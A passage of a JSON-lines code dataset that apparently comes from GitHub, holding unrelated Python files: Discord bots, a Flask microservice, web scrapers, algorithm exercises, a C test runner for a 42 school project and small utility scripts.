messages.append(message)\r\n\r\n await bot_status_channel.delete_messages(messages)\r\n\r\n # Create Bot Status Message\r\n client.status_message = await bot_status_channel.send(f\"{client.asset} WS Status: :green_circle:\")\r\n\r\n # Start Background Tasks\r\n update_cad_usd_conversion.start()\r\n check_last_ws_msg.start()\r\n\r\n # Initialize price data from Binance REST API\r\n client.usd_price = get_rest_price(client.asset)\r\n\r\n await update_display()\r\n\r\n # Run main loop\r\n await main_loop()\r\n\r\n # * Run Bot\r\n client.run(bot_token)\r\n\r\n\r\ndef main():\r\n processes = []\r\n\r\n for bot_token in bots:\r\n new_process = Process(target=CryptoPriceBot, args=(bot_token, bots[bot_token],))\r\n new_process.start()\r\n processes.append(new_process)\r\n\r\n for process in processes:\r\n process.join()\r\n\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","repo_name":"devmwang/CryptoPriceBots","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":9436,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"2"} +{"seq_id":"27287473269","text":"import discord\nfrom discord.ext import commands\nimport json\nimport asyncio\n\n\nclass Brawl:\n def __init__(self, bot):\n self.bot = bot\n self.file_path = '{}brawl.json'.format(self.bot.my_data_files)\n\n self.no_join = discord.PermissionOverwrite(connect=False, speak=False)\n self.join = discord.PermissionOverwrite(connect=True, speak=True)\n\n try:\n with open(self.file_path, 'r') as f:\n self.config = json.load(f)\n except FileNotFoundError:\n self.config = {'channels': {}}\n self.write_config()\n\n def write_config(self):\n with open(self.file_path, 'w+') as f:\n json.dump(self.config, f, indent=4)\n\n @commands.group(name='brawl', invoke_without_command=True)\n async def brawl(self, ctx, *users: discord.Member):\n \"\"\"\n Creates and manages brawl voice channels\n Mention your friends after this group to create a voice channel for you and them.\n Incorrect usage shows this help command.\n \"\"\"\n if users == ():\n raise commands.CommandError\n if ctx.author.id not in self.config['channels']:\n overwrites = {\n ctx.guild.default_role: self.no_join,\n ctx.author: self.join,\n }\n overwrites.update({u: self.join for u in users})\n ch = await ctx.guild.create_voice_channel(\n f'\\N{MICROPHONE} {ctx.author.name}',\n overwrites=overwrites,\n reason='Brawl voice channel')\n\n self.config['channels'][ctx.author.id] = ch.id\n self.write_config()\n link = await ch.create_invite(reason='Brawl vc invite')\n await ctx.send((\n f'{ctx.author.mention}, your voice channel has been created!\\n'\n f'Manage it with `{ctx.prefix}brawl` and use the following link to join it:\\n\\n{link}'))\n\n else:\n ch = ctx.guild.get_channel(self.config['channels'][ctx.author.id])\n link = ch.create_invite(reason='Brawl vc invite', unique=False)\n await ctx.send((\n f'Sorry, but you can only have one voice channel at a time, '\n f'{ctx.author.mention}. Here\\'s a link to your current channel:\\n{link}'))\n\n @brawl.error\n async def brawl_error(self, ctx, error):\n \"\"\"Sends help for brawl command on error\"\"\"\n for page in await self.bot.formatter.format_help_for(ctx, ctx.command):\n await ctx.send(page)\n\n @brawl.command()\n async def delete(self, ctx):\n \"\"\"Deletes your voice channel\"\"\"\n id = self.config['channels'].get(ctx.author.id)\n if id is None:\n await ctx.send(f'{ctx.author.mention}, you do not *have* a voice channel I can delete!')\n return\n\n def check(msg):\n if msg.author != ctx.author:\n return False\n if msg.channel != ctx.channel:\n return False\n return True\n\n await ctx.send(f'Are you sure you want to delete your voice channel {ctx.author.mention}?')\n try:\n ret = await self.bot.wait_for(\"message\", check=check, timeout=10)\n except asyncio.TimeoutError:\n ctx.send(f'{ctx.author.mention}, you took too long. Cancelling channel deletion.')\n return\n if ret.content.startswith('y'):\n ch = ctx.guild.get_channel(id)\n await ch.delete()\n await ctx.send('Channel successfully deleted!')\n self.config['channels'].pop(ctx.author.id)\n self.write_config()\n else:\n await ctx.send('Cancelling channel deletion.')\n\n @brawl.command()\n @commands.has_permissions(manage_channels=True)\n async def fdelete(self, ctx, user: discord.Member=None):\n \"\"\"Forcefully deletes someone's channel\"\"\"\n id = self.config['channels'].get(user.id)\n if id is None:\n await ctx.send(f'{user.name} does not have a voice channel to delete')\n return\n ch = ctx.guild.get_channel(id)\n await ch.delete()\n await ctx.send('Channel successfully deleted!')\n self.config['channels'].pop(user.id)\n self.write_config()\n\n @brawl.command()\n async def allow(self, ctx, *users: discord.Member):\n \"\"\"Allows the specified users to join your voice channel\"\"\"\n id = self.config['channels'].get(ctx.author.id)\n if id is None:\n await ctx.send(f'{ctx.author.mention}, you do not *have* a voice channel I can allow people into')\n return\n ch = ctx.guild.get_channel(id)\n for u in users:\n await ch.set_permissions(u, overwrite=self.join)\n link = await ch.create_invite(reason='Brawl vc link', unique=False)\n await ctx.send(f'Done. Here\\'s a link to join the channel:\\n\\n{link}')\n\n @brawl.command()\n async def deny(self, ctx, *users: discord.Member):\n \"\"\"Denies the specified users from joining your voice channel\"\"\"\n id = self.config['channels'].get(ctx.author.id)\n if id is None:\n await ctx.send(f'{ctx.author.mention}, you do not *have* a voice channel I can allow people into')\n return\n ch = ctx.guild.get_channel(id)\n for u in users:\n await ch.set_permissions(u, overwrite=self.no_join)\n await ctx.send('Done.')\n\n\ndef setup(bot):\n bot.add_cog(Brawl(bot))\n","repo_name":"somerandomlongusername/somerandomlongreponame","sub_path":"cogs/brawl.py","file_name":"brawl.py","file_ext":"py","file_size_in_byte":5431,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"43063419607","text":"import awkward as ak\nimport LeptonWeighter as LW\n\nfrom .weighter import Weighter\n\nclass ParquetWeighter(Weighter):\n\n def get_event_oneweight(self, event:ak.Record) -> float:\n \"\"\"\n Function that returns oneweight for event. Oneweight * flux / n_gen_events = rate\n\n params\n ______\n event: Prometheus output event\n\n returns\n _______\n oneweight: Oneweight for event [GeV sr m^2]\n \"\"\"\n raise ValueError(\"This is busted sorry :-/\")\n lw_event = LW.Event()\n injection = event[\"mc_truth\"]\n lw_event.energy = injection[\"initial_state_energy\"]\n lw_event.zenith = injection[\"initial_state_zenith\"]\n lw_event.azimuth = injection[\"initial_state_azimuth\"]\n lw_event.interaction_x = injection[\"bjorken_x\"]\n lw_event.interaction_y = injection[\"bjorken_y\"]\n initial_idxs = np.where(injection[\"final_state_parent\"]==0)[0]\n final_state_1_idx = initial_idxs[0]\n final_state_2_idx = initial_idxs[1]\n lw_event.final_state_particle_0 = LW.ParticleType(injection[\"final_state_type\"][final_state_1_idx])\n lw_event.final_state_particle_1 = LW.ParticleType(injection[\"final_state_type\"][final_state_2_idx])\n lw_event.primary_type = LW.ParticleType(injection[\"initial_state_type\"])\n lw_event.total_column_depth = injection[\"column_depth\"]\n lw_event.x = injection[\"initial_state_x\"]\n lw_event.y = injection[\"initial_state_y\"]\n lw_event.z = injection[\"initial_state_z\"]\n return self._weighter.get_oneweight(lw_event) * self.nevents\n\n","repo_name":"Harvard-Neutrino/prometheus","sub_path":"prometheus/weighting/parquet_weighter.py","file_name":"parquet_weighter.py","file_ext":"py","file_size_in_byte":1601,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"2"} +{"seq_id":"44910021","text":"from flask import Flask, jsonify, abort, request\nfrom flask_cors import CORS\nfrom flask_sqlalchemy import SQLAlchemy\nfrom sqlalchemy import UniqueConstraint\nfrom dataclasses import dataclass\nimport requests\nimport json\nimport time\nfrom producer import publish, publish_log\n\napp = Flask(__name__)\napp.config[\"SQLALCHEMY_DATABASE_URI\"] = 'mysql://root:20194616@database/main'\nCORS(app)\n\ndb = SQLAlchemy(app)\n\ncorrelation_id = ''\n\n\n@app.before_request\ndef before_request():\n global correlation_id\n correlation_id = request.headers.get('X-My-Correlation-Id')\n headers = dict(request.headers)\n if correlation_id is None:\n correlation_id = \"main-\" + str(int(time.time()))\n body = bytes(request.data).replace(b\"'\", b'\"')\n if body.decode('utf-8') == '':\n body = '{}'\n req = {\n 'header': headers,\n 'body': json.loads(body),\n 'path': request.path,\n 'method': request.method,\n 'correlation_id': correlation_id,\n }\n publish_log('product_liked', req)\n\n\n@dataclass\nclass Product(db.Model):\n id: int\n title: str\n image: str\n\n id = db.Column(db.Integer, primary_key=True, autoincrement=False)\n title = db.Column(db.String(256))\n image = db.Column(db.String(256))\n\n\n@dataclass\nclass ProductUser(db.Model):\n id = db.Column(db.Integer, primary_key=True)\n user_id = db.Column(db.Integer)\n product_id = db.Column(db.Integer)\n\n UniqueConstraint('user_id', 'product_id', name='user_product_unique')\n\n\n@app.route('/api/products')\ndef index():\n return jsonify(Product.query.all())\n\n\n@app.route('/api/products//like', methods=['POST'])\ndef like(id):\n req = requests.get(\n 'http://172.17.0.1:8000/api/user',\n headers={\n 'X-My-Correlation-Id': correlation_id\n }\n )\n json = req.json()\n try:\n productUser = ProductUser(user_id=json['id'], product_id=id)\n db.session.add(productUser)\n db.session.commit()\n\n publish('product_liked', id)\n\n except:\n abort(400, 'You already liked this product')\n\n return jsonify({\n \"message\": \"success\"\n })\n\n\nif __name__ == '__main__':\n app.run(debug=True, host=\"0.0.0.0\")\n","repo_name":"manhlamabc123/Monitor-log-between-APIs-in-Microservices","sub_path":"main/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2187,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"41086839887","text":"class Solution:\n def findMin(self, nums: List[int]) -> int:\n left, right = 0, len(nums) - 1\n\n while left < right:\n # using bit shifting to reduce time rather than divided by 2\n mid = left + ((right - left) >> 1)\n\n # To filter duplicate values\n if nums[left] == nums[mid] == nums[right]:\n left += 1\n right -= 1\n \n # mid is in the rotation part\n elif nums[mid] > nums[right]:\n left = mid + 1\n else:\n right = mid\n \n return nums[left]\n","repo_name":"sourav-122/hacktoberfest2022","sub_path":"Find Minimum in Rotated Sorted Array II.py","file_name":"Find Minimum in Rotated Sorted Array II.py","file_ext":"py","file_size_in_byte":618,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"2"} +{"seq_id":"7572874923","text":"# The Apgar Medical group keeps a patient file for each doctor in the office. \n# Each record contains the patient’s first and last name, home address, and birth year.\n# The records are sorted in ascending birth year order. Two doctors, Dr. Best and Dr. Cushing, have formed a partnership.\n# Create the flowchart and pseudocode that produces a merged list of patients’ names in ascending order by birth year.\n\nimport csv\n\n# Takes data, name, address, and birth_year as parameters\ndef add_to_list(data, name, address, birth_year):\n data.append([name, address, birth_year])\n\n# Uses the lambda function built into python to sort the data . View documentation here ---> https://docs.python.org/3/howto/sorting.html\ndef create_sorted_csv(data, filename):\n sorted_data = sorted(data, key=lambda row: int(row[2]))\n\n # Creates new CSV file and stores the sorted_data as inputs. The 'w' stands for write mode.\n with open(filename, 'w', newline='') as sorted_csvfile:\n writer = csv.writer(sorted_csvfile)\n writer.writerows(sorted_data)\n\n# Creates an empty array so it can be filled with data from module add_to_list\ndata = []\n\n# This loop will continously add to the variables, that will be fed into def add_to_list. Loop will break if user enters 'quit' for the patient name\nwhile True:\n name = input(\"Enter name (or 'quit' to exit): \")\n if name.lower() == 'quit':\n break\n\n address = input(\"Enter home address: \")\n birth_year = input(\"Enter birth year: \")\n\n add_to_list(data, name, address, birth_year)\n\nfilename = input(\"Please enter the filename for sorted patients: \")\n\ncreate_sorted_csv(data, filename + '.csv')\n","repo_name":"TheAgera/College","sub_path":"Summer 2023/CIS 129 (Intro to Programming)/M7/M7FileHandling.py","file_name":"M7FileHandling.py","file_ext":"py","file_size_in_byte":1658,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"36202434550","text":"import scrapy\n\n\nclass ShiyanlouCoursesSpider(scrapy.Spider):\n\n name = 'shiyanlou-courses'\n\n @property\n def start_urls(self):\n \"\"\" start_urls ???????????????????????????????????????????\n \"\"\"\n url_tmpl = 'https://github.com/shiyanlou?page={}&tab=repositories'\n return (url_tmpl.format(i) for i in range(1, 4))\n # return url_tmpl\n\n def parse(self, response):\n for course in response.css('li[itemprop]'):\n yield {\n # 'name': course.xpath('//h3/a/text()').re_first(' *(.+) *'),\n 'name': course.css('h3 a::text').re_first(' *(.+) *'),\n 'update_time': course.xpath('.//relative-time/@datetime').extract_first(),\n # 'type': course.css('div.course-footer span.pull-right::text').extract_first(),\n # 'students': course.xpath('.//span[contains(@class, \"pull-left\")]/text()[2]').re_first('[^\\d]*(\\d+)[^\\d]*')\n }\n","repo_name":"speedxcc/shiyanlou_001","sub_path":"pass15/shiyanlou_courses_spider.py","file_name":"shiyanlou_courses_spider.py","file_ext":"py","file_size_in_byte":948,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"33957290610","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\ncadena = \"scccc\"\nNc = cadena.count(\"c\")\nNs = cadena.count(\"s\")\ndef prob(H):\n return((H**Nc)*((1-H)**Ns))\nH = np.linspace(0.000001,1-1e-5,100)\ny = prob(H)\nnormalizacion = np.trapz(y, x = H)\nnuevoY = y/normalizacion\nL = np.log(nuevoY)\n\nmaximo = np.max(nuevoY)\nH0 = int(np.where(nuevoY == maximo)[0])\n\nderiv2 = (L[H0+1] - 2*L[H0] + L[H0-1])/(H[H0]-H[H0-1])**2\n\nsigma = (-deriv2)**(-1/2)\n\ndef aprox(H): \n A = 1.0/(np.sqrt(2*np.pi)*sigma)\n return(A*np.exp(-0.5*(H-H[H0])**2/sigma**2))\n\nyaprox = aprox(H)\n\nplt.plot(H,nuevoY)\nplt.plot(H,yaprox,\"--\")\nplt.title(\"H = {} {} {:.3f}\".format(H0,\"$\\pm$\",sigma))\nplt.xlabel(\"H\")\nplt.ylabel(\"P(H|{prob})\")\nplt.savefig(\"coins.png\")","repo_name":"Jose991019/PenarandaJose_Ejercicio05","sub_path":"bayes.py","file_name":"bayes.py","file_ext":"py","file_size_in_byte":725,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"21598876472","text":"from openpyxl import Workbook\n\ndef main ():\n\n wb = Workbook()\n\n # grab the active worksheet\n ws = wb.active\n\n # Data can be assigned directly to cells\n ws['A1'] = 42\n tempCell = 'A'\n tempCellNum = 2\n \n\n # Save the file\n \n\n\n\n \n\n compareLAA = open(\"/Bioinformatics_Project/Data/DatabaseNewLRegionAA.txt\", \"r\") #Parsed sequence of L regions\n viterbi = open(\"/Bioinformatics_Project/Scripts/Output/LVViterbiOutput.txt\", \"r\") #ViterbiOutput file to be analyzed\n output = open(\"/Bioinformatics_Project/Scripts/Output/LVSeqOutAnalysis.txt\", \"w\")\n\n index = 1\n index2 = 1\n total_sequences = 0\n compareLDict = {}\n frequencies = {}\n total = 0\n last = \"\"\n tempID = \"\"\n temp = \"\"\n for line in compareLAA:\n \"\"\"print(line)\n line = line.replace(\"\\n\",\"\")\n input()\"\"\"\n if line[0] == \">\":\n temp = \"\"\n for char in line:\n if char == \".\":\n break\n elif char != \">\":\n temp = temp + char\n \n else:\n line = line.rstrip(\"\\n\\t\")\n compareLDict[temp] = line\n temp = \"\"\n\n \"\"\"for key in compareLDict:\n print(key+ \" \" + str(compareLDict[key]))\n input()\"\"\"\n\n\n\n\n \n for line in viterbi:\n if index == 1:\n for char in line:\n if char == \".\":\n break\n elif char != \">\":\n tempID = tempID + char\n output.write(line) \n index = 2\n total_sequences += 1\n elif index == 2:\n output.write(line)\n if tempID in compareLDict:\n seqTemp = \"\"\n tempLen = len(compareLDict[tempID])\n for x in range(tempLen):\n seqTemp = seqTemp + \"L\"\n for y in range(len(line) - tempLen - 1):\n seqTemp = seqTemp + \"V\"\n output.write(seqTemp + \"\\n\")\n #print(seqTemp)\n #input()\n seqTemp = \"\"\n index = 3\n elif index == 3:\n output.write(line)\n tempNum = (tempLen - line.find(\"V\"))/len(line)\n fancyNum = str(abs(round(tempNum,5)))\n output.write(fancyNum + \"\\n\")\n fullCell = tempCell + str(tempCellNum)\n #print(fullCell)\n #input()\n ws[fullCell] = str(fancyNum)\n tempCellNum += 1\n \n #print(line)\n index = 1\n tempID = \"\"\n \n print(total_sequences)\n wb.save(\"viterbiPlot.xlsx\")\nmain()\n\n\n\n\n\n\n","repo_name":"Dclove123/Bioinformatics_Project","sub_path":"Scripts/LVAnalysis.py","file_name":"LVAnalysis.py","file_ext":"py","file_size_in_byte":2230,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"42140246399","text":"# Q2 Longest Common Subsequence\r\n\r\n\r\nprint('')\r\nans = 'y'\r\nwhile ans == 'y' or ans == 'Y':\r\n\r\n first = input('{:<16} : '.format('>> First String'))\r\n second = input('{:<16} : '.format('>> Second String'))\r\n n = len(first)\r\n m = len(second)\r\n ar = [[0] * (n+1) for _ in range(m+1)]\r\n\r\n # FILL\r\n for i in range(1, m+1):\r\n for j in range(1, n+1):\r\n if first[j-1] != second[i-1]:\r\n ar[i][j] = max(ar[i-1][j], ar[i][j-1])\r\n else:\r\n ar[i][j] = 1+ar[i-1][j-1]\r\n # length of longest common sub sequence is at ar[m][n]\r\n\r\n # Storing LCA (characters) into string(lcs)\r\n lcs = ''\r\n i = m\r\n j = n\r\n while i > 0 and j > 0:\r\n if first[j-1] == second[i-1]:\r\n lcs = first[j-1] + lcs\r\n i -= 1\r\n j -= 1\r\n else:\r\n if ar[i-1][j] > ar[i][j-1] or ar[i-1][j] == ar[i][j-1]:\r\n i -= 1\r\n else:\r\n j -= 1\r\n\r\n print(\"The Longest Common Sub-Sequence for given string is '{}'\".format(lcs))\r\n ans = input(\"- Enter Y to rerun : \")\r\n print('')\r\n\r\n\r\nprint('Executed Successfully')\r\n","repo_name":"skshamagarwal/Algorithms","sub_path":"Dynamic Programming/LCS.py","file_name":"LCS.py","file_ext":"py","file_size_in_byte":1153,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"5798639788","text":"from django import forms\nfrom django.core.exceptions import FieldDoesNotExist\nfrom django.http import Http404\nfrom django.views.generic import UpdateView\n\n\nclass BaseConfigUpdateView(UpdateView):\n template_name = \"plugins/pluginconfig_form.html\"\n\n def _get_translated_fields(self):\n \"\"\"Gets the translated fields from the list of view fields.\"\"\"\n for field in self.fields:\n try:\n self.model._meta.get_field(f\"{field}_{self.request.override_language}\")\n yield f\"{field}_{self.request.override_language}\"\n except FieldDoesNotExist:\n pass\n\n def _get_untranslated_fields(self):\n \"\"\"Gets the untranslated fields from the list of view fields.\"\"\"\n for field in self.fields:\n try:\n self.model._meta.get_field(f\"{field}_{self.request.override_language}\")\n except FieldDoesNotExist:\n yield field\n\n def get_form_class(self):\n \"\"\"\n Create a form to update untranslated fields and translated fields matching current request.override_language.\n \"\"\"\n translated_fields = self._get_translated_fields()\n untranslated_fields = self._get_untranslated_fields()\n\n class PluginFormClass(forms.ModelForm):\n class Meta:\n model = self.model\n fields = list(translated_fields) + list(untranslated_fields)\n\n return PluginFormClass\n\n def get_object(self, queryset=None):\n \"\"\"\n Get or create the configuration model instance for the current journal.\n\n If used outside a journal, return 404\n \"\"\"\n if not queryset:\n queryset = self.get_queryset()\n if self.request.journal:\n try:\n return queryset.get(journal=self.request.journal)\n except self.model.DoesNotExist:\n return self.model.objects.create(journal=self.request.journal)\n else:\n raise Http404()\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context[\"PLUGIN_NAME\"] = self.plugin_name\n return context\n","repo_name":"sissamedialab/wjs-profile-project","sub_path":"wjs/jcom_profile/plugins.py","file_name":"plugins.py","file_ext":"py","file_size_in_byte":2163,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"2"} +{"seq_id":"28857715218","text":"#!/usr/bin/env python\n\nimport csv\nimport argparse\nimport numpy as np\nimport matplotlib.pyplot as plt\n\ncmds = 'PresetAO CenterStar CenterPupils CheckFlux CloseLoop OptimizeGain ApplyOpticalGain OffsetXY'.split()\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--start', dest='start_date', action='store',\n default='19000101', help='Start date (YYYYMMDD)')\nparser.add_argument('--end', dest='end_date', action='store',\n default='21000101', help='End date (YYYYMMDD)')\nparser.add_argument('--name', dest='plot_name', action='store',\n default='', help='Plot name')\nparser.add_argument('--side', dest='plot_side', action='store',\n help='side (L or R)')\n\nargs = parser.parse_args()\n\nhtml = '

%s, side=%s

' % (args.plot_name, args.plot_side)\n\nwith open('cmd_%s.csv' % args.plot_side) as csvfile:\n data = list(csv.reader(csvfile, delimiter=','))[1:]\n\nmaxtime = 0\nfor cmd in cmds:\n cmddata = [record for record in data if record[0] >= args.start_date and record[0] <=args.end_date]\n cmddata = [record for record in cmddata if record[2] == cmd]\n times = [float(record[3]) for record in cmddata]\n if len(times) == 0:\n continue\n maxtime = max([max(times), maxtime])\n\nfor cmd in cmds:\n cmddata = [record for record in data if record[0] >= args.start_date and record[0] <=args.end_date]\n cmddata = [record for record in cmddata if record[2] == cmd]\n times = [float(record[3]) for record in cmddata]\n if len(times) == 0:\n continue\n filename = 'plot_%s_%s_%s.png' % (args.plot_side, args.plot_name, cmd.lower())\n\n plt.clf()\n plt.hist(times, bins=np.arange(((maxtime+5)/5))*5)\n plt.title(cmd)\n plt.xlabel('Elapsed time (s)')\n plt.ylabel('Occurrences')\n plt.savefig(filename)\n\n html += '\\n' % filename\n\nwith open('plots_%s_%s.html' % (args.plot_side, args.plot_name), 'w') as f:\n f.write(html)\n \n\n","repo_name":"alfiopuglisi/flao_logs","sub_path":"plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":2008,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"21052338410","text":"# Working example of Dan Halbert's LCD code.\n# https://github.com/dhalbert/CircuitPython_LCD\n# I needed to create an i2c object and pass it to the interface\n# added code to print ic2 address to serial monitor\n# D. Dierolf 9/23/21\n\nfrom lcd.lcd import LCD\nfrom lcd.i2c_pcf8574_interface import I2CPCF8574Interface\n\nfrom random import randint\nimport board\nimport time\n\nprint(\"running\")\n\n# get and i2c object\ni2c = board.I2C()\n\nwhile not i2c.try_lock():\n pass\nprint(\"I2C addresses found:\", [hex(device_address)\n for device_address in i2c.scan()])\ni2c.unlock()\n\n# Talk to the LCD at I2C address 0x27\n# if error received -- ValueError: No I2C device at address: 0x3f\n# try address 0x3f\n# 16 columns, 2 rows, 8 pixels high characters\n\nlcd = LCD(I2CPCF8574Interface(i2c, 0x27), num_cols=16, num_rows=2, char_height=8)\n\nlcd.print(\"abc \")\ntime.sleep(1)\nlcd.print(\"This is quite long and will wrap onto the next line automatically.\")\ntime.sleep(1)\nlcd.clear()\n\nwhile True:\n # jump around LCD screen\n lcd.clear()\n row = randint(0, 1)\n col = randint(0,15)\n lcd.set_cursor_pos(row, col)\n lcd.print(\"Here I am\")\n time.sleep(.5)\n\n\n","repo_name":"OneCHSEngr/CircuitPython","sub_path":"lcd_example.py","file_name":"lcd_example.py","file_ext":"py","file_size_in_byte":1157,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"38589914542","text":"\"\"\"empty message\n\nRevision ID: b5be107dcaf7\nRevises: 831a0030a192\nCreate Date: 2022-08-12 10:11:45.384377\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'b5be107dcaf7'\ndown_revision = '831a0030a192'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_foreign_key(None, 'posts', 'users', ['poster_id'], ['id'])\n op.add_column('users', sa.Column('about_author', sa.Text(length=500), nullable=True))\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_column('users', 'about_author')\n op.drop_constraint(None, 'posts', type_='foreignkey')\n # ### end Alembic commands ###\n","repo_name":"Leonardo-Raimundo/flasker","sub_path":"migrations/versions/b5be107dcaf7_.py","file_name":"b5be107dcaf7_.py","file_ext":"py","file_size_in_byte":800,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"28269035530","text":"import time\r\nfrom bs4 import BeautifulSoup\r\nimport requests\r\nfrom STATES import STATES\r\nimport csv\r\n\r\nclass PoliceGatherer():\r\n DISCOVER_POLICING = 'http://discoverpolicing.org/discover/index.cfm?fa=searchResult&city=&state={}&zip=&radius=&agencyType=&entryEducation=&authorizedFTswornLow=&authorizedFTswornHigh=&populationLow=&populationHigh=&entryAgeMin=&entryAgeMax=&startingSalaryLow=&startingSalaryHigh=&startrow={}'\r\n STATES = STATES.keys()\r\n\r\n def __init__(self):\r\n self.disc_pol_dict = {}\r\n\r\n def get_disc_pol_rows(self, state, startrow):\r\n link = PoliceGatherer.DISCOVER_POLICING\r\n req = requests.get(link.format(state,startrow))\r\n if req.status_code == 200:\r\n html = req.text\r\n else:\r\n return None\r\n\r\n soup = BeautifulSoup(html,'html.parser')\r\n table = soup.find(\"table\", {\"id\":\"srchRslt\"})\r\n tbody = table.find('tbody')\r\n rows = tbody.find_all('tr')\r\n for row in rows:\r\n cols = row.find_all('td')\r\n cols = [ele.text.strip() for ele in cols]\r\n if len(cols) == 7:\r\n self.disc_pol_dict[state].append(cols)\r\n\r\n def gather_disc_pol(self):\r\n link = PoliceGatherer.DISCOVER_POLICING\r\n states = PoliceGatherer.STATES\r\n for state in states:\r\n print('Starting state: {}'.format(state))\r\n self.disc_pol_dict[state] = []\r\n\r\n req = requests.get(link.format(state,'0'))\r\n\r\n if req.status_code == 200:\r\n html = req.text\r\n else:\r\n continue\r\n\r\n soup = BeautifulSoup(html,'html.parser')\r\n all_ps = soup.find_all('p')\r\n last_row = 0\r\n for p in all_ps:\r\n if 'result(s)' in p.text:\r\n last_row = p.text.split()[0]\r\n try:\r\n last_row = int(last_row)\r\n except:\r\n pass\r\n\r\n print('number of rows: {}'.format(last_row))\r\n\r\n cur_row = 1\r\n while cur_row < last_row:\r\n time.sleep(5)\r\n self.get_disc_pol_rows(state,cur_row)\r\n cur_row += 10\r\n #print(\"Next:{} through {}\".format(cur_row, cur_row+10))\r\n if len(self.disc_pol_dict[state]) != last_row:\r\n print(\"{} Does not equal: {} recorded, {} listed\".format(state,len(self.disc_pol_dict[state]),last_row))\r\n\r\n print('waiting...')\r\n time.sleep(45)\r\n def write_disc_pol(self):\r\n filename = 'disc_pol.csv'\r\n with open(filename, 'w') as f:\r\n writer = csv.writer(f)\r\n for state in PoliceGatherer.STATES:\r\n for row in self.disc_pol_dict[state]:\r\n writer.writerow([state]+row)\r\n\r\n\r\nif __name__ == '__main__':\r\n\r\n gatherer = PoliceGatherer()\r\n gatherer.gather_disc_pol()\r\n gatherer.write_disc_pol()","repo_name":"Djones4822/UCR_CFA","sub_path":"scrape_discover_policing.py","file_name":"scrape_discover_policing.py","file_ext":"py","file_size_in_byte":2932,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"2"} +{"seq_id":"19689312895","text":"#! /usr/bin/python3\n#-*- coding: utf-8 -*-\n\n# By: cjeon \n\nimport os\nimport sys\nimport json\nimport shutil\nimport subprocess\n\ndef print_usage_and_exit():\n print('[-] usage: ./42test [ -f | -g ] [ target ] [ project name ]')\n exit(1)\n\nif len(sys.argv) != 4:\n print('[!] too (many or few) arguments.')\n print_usage_and_exit()\n\n_, target_type, target, project_name = sys.argv\n\nif target_type in ['-f', '--folder']:\n target_folder = target\n if not os.path.isdir(target_folder):\n print(f\"[!] {target_folder} is not valid folder\")\n exit(1)\n\nelif target_type in ['-g', '--git']:\n target_folder = os.path.join('repos', project_name)\n if os.path.isdir(target_folder):\n shutil.rmtree(target_folder)\n try:\n subprocess.run(args=['git', 'clone', target, target_folder], check=True)\n except subprocess.CalledProcessError as e:\n print('[!] \"git clone\" failed')\n exit(1)\n\nelse:\n print(f'[!] invalid argument (pos 2): {target_type}')\n print_usage_and_exit()\n\nif not os.path.isdir(project_name):\n print(f'[!] {project_name} unavailable project')\n exit(1)\n\nrules_file = open(os.path.join(project_name , 'rules.json'), 'r')\nrules = json.load(rules_file)\nrules_file.close()\n\nfor rule in rules:\n name = rule['name']\n compare_output = rule['compare-output']\n file_path = os.path.join(target_folder, rule['file'])\n test_script_path = rule['test-script']\n\n print(f'[-] ({test_script_path.split(\"/\")[1]}) test {name}...')\n\n if not os.path.isfile(file_path):\n print('[!] file not placed correctly')\n exit(1)\n\n try:\n subprocess.run(args=['clang', '-Wall', '-Wextra', '-Werror', '-o', f'bin/{name}', file_path, test_script_path], check=True)\n except subprocess.CalledProcessError as e:\n print('[!] compile failed')\n exit(1)\n\n try:\n output = subprocess.run(args=[f'./bin/{name}'], check=True, capture_output=True).stdout\n except subprocess.CalledProcessError as e:\n print(e.stderr.decode('ascii'))\n print('[!] runtime error')\n exit(1)\n\n if compare_output:\n with open(compare_output, 'r') as f:\n expected_output = f.read()\n real_output = output.decode('ASCII')\n if real_output != expected_output:\n print(f\"[-] expected:\\n{expected_output}\")\n print(f\"[-] actual:\\n{real_output}\")\n print(\"[!] wrong output\")\n exit(1)\n print(f'[-] {name} pass!')\nprint(f'[-] all test passed.')","repo_name":"HybriDonald/42seoul_home","sub_path":"42test/42test.py","file_name":"42test.py","file_ext":"py","file_size_in_byte":2549,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"19355109987","text":"'''\n@filename\t\t:convert_tree_to_listnode.py\n@Description\t:二叉搜索树转换为排序后的双向链路\n@Date\t\t\t:2022/01/07 11:49:24\n@Author \t:hjd\n@version \t:1.0\n'''\n\n\nclass Tree():\n def 